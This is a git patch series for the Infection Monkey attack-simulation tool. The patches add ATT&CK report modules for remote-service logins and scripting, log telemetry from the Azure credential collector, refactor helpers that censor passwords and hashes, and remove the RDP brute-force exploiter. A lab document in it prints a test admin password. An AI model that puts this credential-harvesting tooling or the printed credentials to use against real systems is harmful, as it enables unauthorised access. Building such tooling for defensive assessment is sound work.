From 493de5b8ea904b49c45a285d3398614986f4e463 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 19 Jul 2019 15:52:14 +0300 Subject: [PATCH 01/30] Implemented remote services attack technique --- .../cc/services/attack/attack_report.py | 5 +- .../cc/services/attack/attack_schema.py | 11 +++- .../attack/technique_reports/T1021.py | 54 +++++++++++++++++++ .../src/components/attack/techniques/T1021.js | 44 +++++++++++++++ .../report-components/AttackReport.js | 4 +- 5 files changed, 114 insertions(+), 4 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1021.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index a03e6a512..32e6c3a39 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -33,7 +33,8 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1222': T1222.T1222, 'T1005': T1005.T1005, 'T1018': T1018.T1018, - 'T1016': T1016.T1016} + 'T1016': T1016.T1016, + 'T1021': T1021.T1021} REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 9d396dc26..2335f005c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -48,6 +48,15 @@ SCHEMA = { "necessary": True, "description": "Files may be copied from one system to another to stage " "adversary tools or other files over the course of an operation." + }, + "T1021": { + "title": "T1021 Remote services", + "type": "bool", + "value": True, + "necessary": False, + "depends_on": ["T1110"], + "description": "An adversary may use Valid Accounts to log into a service" + " specifically designed to accept remote connections." } } }, @@ -62,7 +71,7 @@ SCHEMA = { "necessary": False, "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained.", - "depends_on": ["T1210"] + "depends_on": ["T1210", "T1021"] }, "T1003": { "title": "T1003 Credential dumping", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py new file mode 100644 index 000000000..6f69f39ab --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -0,0 +1,54 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.services.attack.technique_reports.T1110 import T1110 + +__author__ = "VakarisZ" + + +class T1021(AttackTechnique): + tech_id = "T1021" + unscanned_msg = "Monkey didn't try to login to any remote services." + scanned_msg = "Monkey tried to login to remote services with valid credentials, but failed." + used_msg = "Monkey successfully logged into remote services on the network." + + # Gets data about brute force attempts + query = [{'$match': {'telem_category': 'exploit', + 'data.attempts': {'$not': {'$size': 0}}}}, + {'$project': {'_id': 0, + 'machine': '$data.machine', + 'info': '$data.info', + 'attempt_cnt': {'$size': '$data.attempts'}, + 'attempts': {'$filter': {'input': '$data.attempts', + 'as': 'attempt', + 'cond': {'$and': [{'$eq': ['$$attempt.result', True]}, + {'$or': [{'$ne': ['$$attempt.password', '']}, + {'$ne': ['$$attempt.ssh_key', '']}]}] + } + } + } + } + }] + + scanned_query = {'telem_category': 'exploit', + 'data.attempts': {'$elemMatch': {'$or': [{'password': {'$ne': ''}}, + {'ssh_key': {'$ne': ''}}]}}} + + @staticmethod + def get_report_data(): + attempts = [] + if mongo.db.telemetry.count_documents(T1021.scanned_query): + attempts = list(mongo.db.telemetry.aggregate(T1021.query)) + if attempts: + status = ScanStatus.USED.value + for result in attempts: + result['successful_creds'] = [] + for attempt in result['attempts']: + result['successful_creds'].append(T1110.parse_creds(attempt)) + else: + status = ScanStatus.SCANNED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1021.get_base_data_by_status(status) + data.update({'services': attempts}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js new file mode 100644 index 000000000..edfba66a9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -0,0 +1,44 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { renderMachine, scanStatus } from "./Helpers" + + +class T1021 extends React.Component { + + constructor(props) { + super(props); + } + + static getServiceColumns() { + return ([{ + columns: [ + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: { 'whiteSpace': 'unset' }, width: 160}, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, + {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, + ] + }])}; + + static renderCreds(creds) { + return {creds.map(cred =>
{cred}
)}
+ }; + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.status === scanStatus.USED ? + : ""} +
+ ); + } +} + +export default T1021; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 3d565c3a0..86fce36e5 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -28,6 +28,7 @@ import T1222 from "../attack/techniques/T1222"; import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; import T1016 from "../attack/techniques/T1016"; +import T1021 from "../attack/techniques/T1021"; const tech_components = { 'T1210': T1210, @@ -51,7 +52,8 @@ const tech_components = { 'T1222': T1222, 'T1005': T1005, 'T1018': T1018, - 'T1016': T1016 + 'T1016': T1016, + 'T1021': T1021 }; const classNames = require('classnames'); From fe6a653f79b73bb171a490bc743a03f7da0918c6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 22 Jul 2019 12:13:54 +0300 Subject: [PATCH 02/30] Implemented scripting attack technique --- monkey/infection_monkey/post_breach/pba.py | 7 +++-- .../system_info/azure_cred_collector.py | 3 ++ .../telemetry/attack/t1064_telem.py | 11 +++++++ .../cc/services/attack/attack_report.py | 6 ++-- .../cc/services/attack/attack_schema.py | 8 +++++ .../attack/technique_reports/T1064.py | 16 ++++++++++ .../src/components/attack/techniques/T1064.js | 30 +++++++++++++++++++ .../report-components/AttackReport.js | 4 ++- 8 files changed, 80 insertions(+), 5 deletions(-) create mode 100644 monkey/infection_monkey/telemetry/attack/t1064_telem.py create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1064.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3fb8b251f..123214db9 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,10 +1,11 @@ import logging import subprocess -import socket -from infection_monkey.control import ControlClient + +from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem LOG = logging.getLogger(__name__) @@ -46,6 +47,8 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() + if result[1] and isinstance(self.command, list) and len(self.command) > 1: + T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() def _execute_default(self): diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 80d9f064f..90626922d 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -7,6 +7,7 @@ import subprocess from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem __author__ = 'danielg' @@ -58,6 +59,7 @@ class AzureCollector(object): decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -97,6 +99,7 @@ class AzureCollector(object): password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py new file mode 100644 index 000000000..fcb3c0bff --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1064Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1064 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1064Telem, self).__init__('T1064', status, usage) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 32e6c3a39..c04e6870f 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -3,7 +3,7 @@ import logging from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082 from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188 -from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021 +from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo @@ -34,7 +34,9 @@ TECHNIQUES = {'T1210': T1210.T1210, 'T1005': T1005.T1005, 'T1018': T1018.T1018, 'T1016': T1016.T1016, - 'T1021': T1021.T1021} + 'T1021': T1021.T1021, + 'T1064': T1064.T1064 + } REPORT_NAME = 'new_report' diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 2335f005c..c75678fdc 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -173,6 +173,14 @@ SCHEMA = { "necessary": True, "description": "Adversaries can use PowerShell to perform a number of actions," " including discovery of information and execution of code.", + }, + "T1064": { + "title": "T1064 Scripting", + "type": "bool", + "value": True, + "necessary": True, + "description": "Adversaries may use scripts to aid in operations and " + "perform multiple actions that would otherwise be manual.", } } }, diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py new file mode 100644 index 000000000..ef9ce1b80 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports import UsageTechnique + +__author__ = "VakarisZ" + + +class T1064(UsageTechnique): + tech_id = "T1064" + unscanned_msg = "Monkey didn't run scripts." + scanned_msg = "" + used_msg = "Monkey ran scripts on machines in the network." + + @staticmethod + def get_report_data(): + data = T1064.get_tech_base_data() + data.update({'scripts': T1064.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js new file mode 100644 index 000000000..f57abd4b8 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1064.js @@ -0,0 +1,30 @@ +import React from 'react'; +import '../../../styles/Collapse.scss' +import ReactTable from "react-table"; +import { getUsageColumns } from "./Helpers" + + +class T1064 extends React.Component { + + constructor(props) { + super(props); + } + + render() { + return ( +
+
{this.props.data.message}
+
+ {this.props.data.scripts.length !== 0 ? + : ""} +
+ ); + } +} + +export default T1064; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js index 86fce36e5..e7e4d7850 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js @@ -29,6 +29,7 @@ import T1005 from "../attack/techniques/T1005"; import T1018 from "../attack/techniques/T1018"; import T1016 from "../attack/techniques/T1016"; import T1021 from "../attack/techniques/T1021"; +import T1064 from "../attack/techniques/T1064"; const tech_components = { 'T1210': T1210, @@ -53,7 +54,8 @@ const tech_components = { 'T1005': T1005, 'T1018': T1018, 'T1016': T1016, - 'T1021': T1021 + 'T1021': T1021, + 'T1064': T1064 }; const classNames = require('classnames'); From 54b38b04b2316930a798ee1fab0c26783b080869 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 20 Aug 2019 17:03:26 +0300 Subject: [PATCH 03/30] Exported common T1021 and T1110 functions to 'technique_report_tools.py' file, fixed 'ScanStatus' usage on front end --- .../attack/technique_reports/T1021.py | 5 +- .../attack/technique_reports/T1110.py | 47 +------------------ .../technique_report_tools.py | 46 ++++++++++++++++++ .../src/components/attack/techniques/T1021.js | 4 +- 4 files changed, 53 insertions(+), 49 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py index 6f69f39ab..2baa7a872 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py @@ -1,7 +1,8 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.services.attack.technique_reports.T1110 import T1110 +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds + __author__ = "VakarisZ" @@ -44,7 +45,7 @@ class T1021(AttackTechnique): for result in attempts: result['successful_creds'] = [] for attempt in result['attempts']: - result['successful_creds'].append(T1110.parse_creds(attempt)) + result['successful_creds'].append(parse_creds(attempt)) else: status = ScanStatus.SCANNED.value else: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index b918de7f4..72bb0af76 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -1,7 +1,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds __author__ = "VakarisZ" @@ -32,7 +32,7 @@ class T1110(AttackTechnique): result['successful_creds'] = [] for attempt in result['attempts']: succeeded = True - result['successful_creds'].append(T1110.parse_creds(attempt)) + result['successful_creds'].append(parse_creds(attempt)) if succeeded: status = ScanStatus.USED.value @@ -47,47 +47,4 @@ class T1110(AttackTechnique): data.update({'services': attempts}) return data - @staticmethod - def parse_creds(attempt): - """ - Parses used credentials into a string - :param attempt: login attempt from database - :return: string with username and used password/hash - """ - username = attempt['user'] - creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])}, - 'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)}, - 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, - 'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}} - for key, cred in creds.items(): - if attempt[key]: - return '%s ; %s : %s' % (username, - cred['type'], - cred['output']) - @staticmethod - def censor_password(password, plain_chars=3, secret_chars=5): - """ - Decrypts and obfuscates password by changing characters to * - :param password: Password or string to obfuscate - :param plain_chars: How many plain-text characters should be kept at the start of the string - :param secret_chars: How many * symbols should be used to hide the remainder of the password - :return: Obfuscated string e.g. Pass**** - """ - if not password: - return "" - password = encryptor.dec(password) - return password[0:plain_chars] + '*' * secret_chars - - @staticmethod - def censor_hash(hash_, plain_chars=5): - """ - Decrypts and obfuscates hash by only showing a part of it - :param hash_: Hash to obfuscate - :param plain_chars: How many chars of hash should be shown - :return: Obfuscated string - """ - if not hash_: - return "" - hash_ = encryptor.dec(hash_) - return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py new file mode 100644 index 000000000..05cef3684 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -0,0 +1,46 @@ +from monkey_island.cc.encryptor import encryptor + + +def parse_creds(attempt): + """ + Parses used credentials into a string + :param attempt: login attempt from database + :return: string with username and used password/hash + """ + username = attempt['user'] + creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])}, + 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, + 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, + 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} + for key, cred in creds.items(): + if attempt[key]: + return '%s ; %s : %s' % (username, + cred['type'], + cred['output']) + + +def censor_password(password, plain_chars=3, secret_chars=5): + """ + Decrypts and obfuscates password by changing characters to * + :param password: Password or string to obfuscate + :param plain_chars: How many plain-text characters should be kept at the start of the string + :param secret_chars: How many * symbols should be used to hide the remainder of the password + :return: Obfuscated string e.g. Pass**** + """ + if not password: + return "" + password = encryptor.dec(password) + return password[0:plain_chars] + '*' * secret_chars + + +def censor_hash(hash_, plain_chars=5): + """ + Decrypts and obfuscates hash by only showing a part of it + :param hash_: Hash to obfuscate + :param plain_chars: How many chars of hash should be shown + :return: Obfuscated string + """ + if not hash_: + return "" + hash_ = encryptor.dec(hash_) + return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js index edfba66a9..ce8688af1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1021.js @@ -1,7 +1,7 @@ import React from 'react'; import '../../../styles/Collapse.scss' import ReactTable from "react-table"; -import { renderMachine, scanStatus } from "./Helpers" +import { renderMachine, ScanStatus } from "./Helpers" class T1021 extends React.Component { @@ -29,7 +29,7 @@ class T1021 extends React.Component {
{this.props.data.message}

- {this.props.data.status === scanStatus.USED ? + {this.props.data.status === ScanStatus.USED ? Date: Tue, 20 Aug 2019 18:15:25 +0300 Subject: [PATCH 04/30] Exported UsageTechnique class to separate file, improved documentation. Refactored scripting attack telemetry sending in pba --- monkey/infection_monkey/post_breach/pba.py | 13 ++++- .../attack/technique_reports/T1035.py | 3 +- .../attack/technique_reports/T1064.py | 2 +- .../attack/technique_reports/T1106.py | 2 +- .../attack/technique_reports/T1129.py | 3 +- .../attack/technique_reports/__init__.py | 46 +--------------- .../technique_reports/usage_technique.py | 53 +++++++++++++++++++ 7 files changed, 70 insertions(+), 52 deletions(-) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 123214db9..e3eb533ae 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -47,10 +47,21 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() - if result[1] and isinstance(self.command, list) and len(self.command) > 1: + if self.scripts_were_used(result): T1064Telem(ScanStatus.USED, "Scripts used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() + def scripts_were_used(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA + :param pba_execution_result: result of execution function. e.g. self._execute_default + :return: True if scripts were used, False otherwise + """ + pba_execution_succeeded = pba_execution_result[1] + if pba_execution_succeeded and isinstance(self.command, list) and len(self.command) > 1: + return True + return False + def _execute_default(self): """ Default post breach command execution routine diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py index fcc230be5..2750c953c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -1,5 +1,4 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py index ef9ce1b80..9137f99e4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py index b50b19883..d07a66038 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py index f1a4d1b83..5f87faabb 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -1,5 +1,4 @@ -from monkey_island.cc.database import mongo -from monkey_island.cc.services.attack.technique_reports import UsageTechnique +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index ec5ee7781..e164e8830 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -2,7 +2,7 @@ import abc import logging from monkey_island.cc.database import mongo -from common.utils.attack_utils import ScanStatus, UsageEnum +from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.attack_config import AttackConfig from common.utils.code_utils import abstractstatic @@ -115,47 +115,3 @@ class AttackTechnique(object): data = cls.get_message_and_status(status) data.update({'title': cls.technique_title()}) return data - - -class UsageTechnique(AttackTechnique): - __metaclass__ = abc.ABCMeta - - @staticmethod - def parse_usages(usage): - """ - Parses data from database and translates usage enums into strings - :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} - :return: usage string - """ - try: - usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] - except KeyError: - logger.error("Error translating usage enum. into string. " - "Check if usage enum field exists and covers all telem. statuses.") - return usage - - @classmethod - def get_usage_data(cls): - data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) - return list(map(cls.parse_usages, data)) - - @classmethod - def get_usage_query(cls): - """ - :return: Query that parses attack telems for simple report component - (gets machines and attack technique usage). - """ - return [{'$match': {'telem_category': 'attack', - 'data.technique': cls.tech_id}}, - {'$lookup': {'from': 'monkey', - 'localField': 'monkey_guid', - 'foreignField': 'guid', - 'as': 'monkey'}}, - {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, - 'status': '$data.status', - 'usage': '$data.usage'}}, - {'$addFields': {'_id': 0, - 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, - 'monkey': 0}}, - {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, - {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py new file mode 100644 index 000000000..69f178e1c --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -0,0 +1,53 @@ +import abc + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger +from common.utils.attack_utils import UsageEnum + + +class UsageTechnique(AttackTechnique): + __metaclass__ = abc.ABCMeta + + @staticmethod + def parse_usages(usage): + """ + Parses data from database and translates usage enums into strings + :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} + :return: usage string + """ + try: + usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + except KeyError: + logger.error("Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses.") + return usage + + @classmethod + def get_usage_data(cls): + """ + Gets data of usage attack telemetries + :return: parsed list of usages from attack telemetries of usage type + """ + data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) + return list(map(cls.parse_usages, data)) + + @classmethod + def get_usage_query(cls): + """ + :return: Query that parses attack telemetries for a simple report component + (gets machines and attack technique usage). + """ + return [{'$match': {'telem_category': 'attack', + 'data.technique': cls.tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] From 3ca2df85e2e8bda3e73deadb2efd702c729068be Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 21 Aug 2019 09:43:54 +0200 Subject: [PATCH 05/30] Remove all mention of RDP grinder --- README.md | 1 - envs/monkey_zoo/configs/fullTest.conf | 4 - envs/monkey_zoo/docs/fullDocs.md | 10 +- monkey/infection_monkey/config.py | 3 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/__init__.py | 1 - .../infection_monkey/exploit/elasticgroovy.py | 4 +- monkey/infection_monkey/exploit/rdpgrinder.py | 346 ------------------ monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/model/__init__.py | 4 +- .../infection_monkey/requirements_linux.txt | 3 - .../infection_monkey/requirements_windows.txt | 3 - .../cc/resources/aws_exporter.py | 15 - .../cc/services/config_schema.py | 21 -- monkey/monkey_island/cc/services/report.py | 8 - .../cc/ui/src/components/pages/ReportPage.js | 19 - 16 files changed, 7 insertions(+), 438 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/rdpgrinder.py diff --git a/README.md b/README.md index 6ab6813ce..67b5b2e8b 100644 --- a/README.md +++ b/README.md @@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to * Multiple exploit methods: * SSH * SMB - * RDP * WMI * Shellshock * Conficker diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf index 8ffa668ef..d90d84ca4 100644 --- a/envs/monkey_zoo/configs/fullTest.conf +++ b/envs/monkey_zoo/configs/fullTest.conf @@ -62,7 +62,6 @@ "exploiter_classes": [ "SmbExploiter", "WmiExploiter", - "RdpExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", @@ -79,9 +78,6 @@ "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, - "rdp_grinder": { - "rdp_use_vbs_download": true - }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 217a22b23..b792b16f4 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines. 2}p}aR]&=M -Scan results: -Machine exploited using RDP grinder - - Server’s config:

Remote desktop enabled

Admin user’s credentials:

m0nk3y, 2}p}aR]&=M

- + Notes: - + @@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines. Server’s config: -

Has cashed mimikatz-15 RDP credentials

+

Has cached mimikatz-15 RDP credentials

SMB turned on

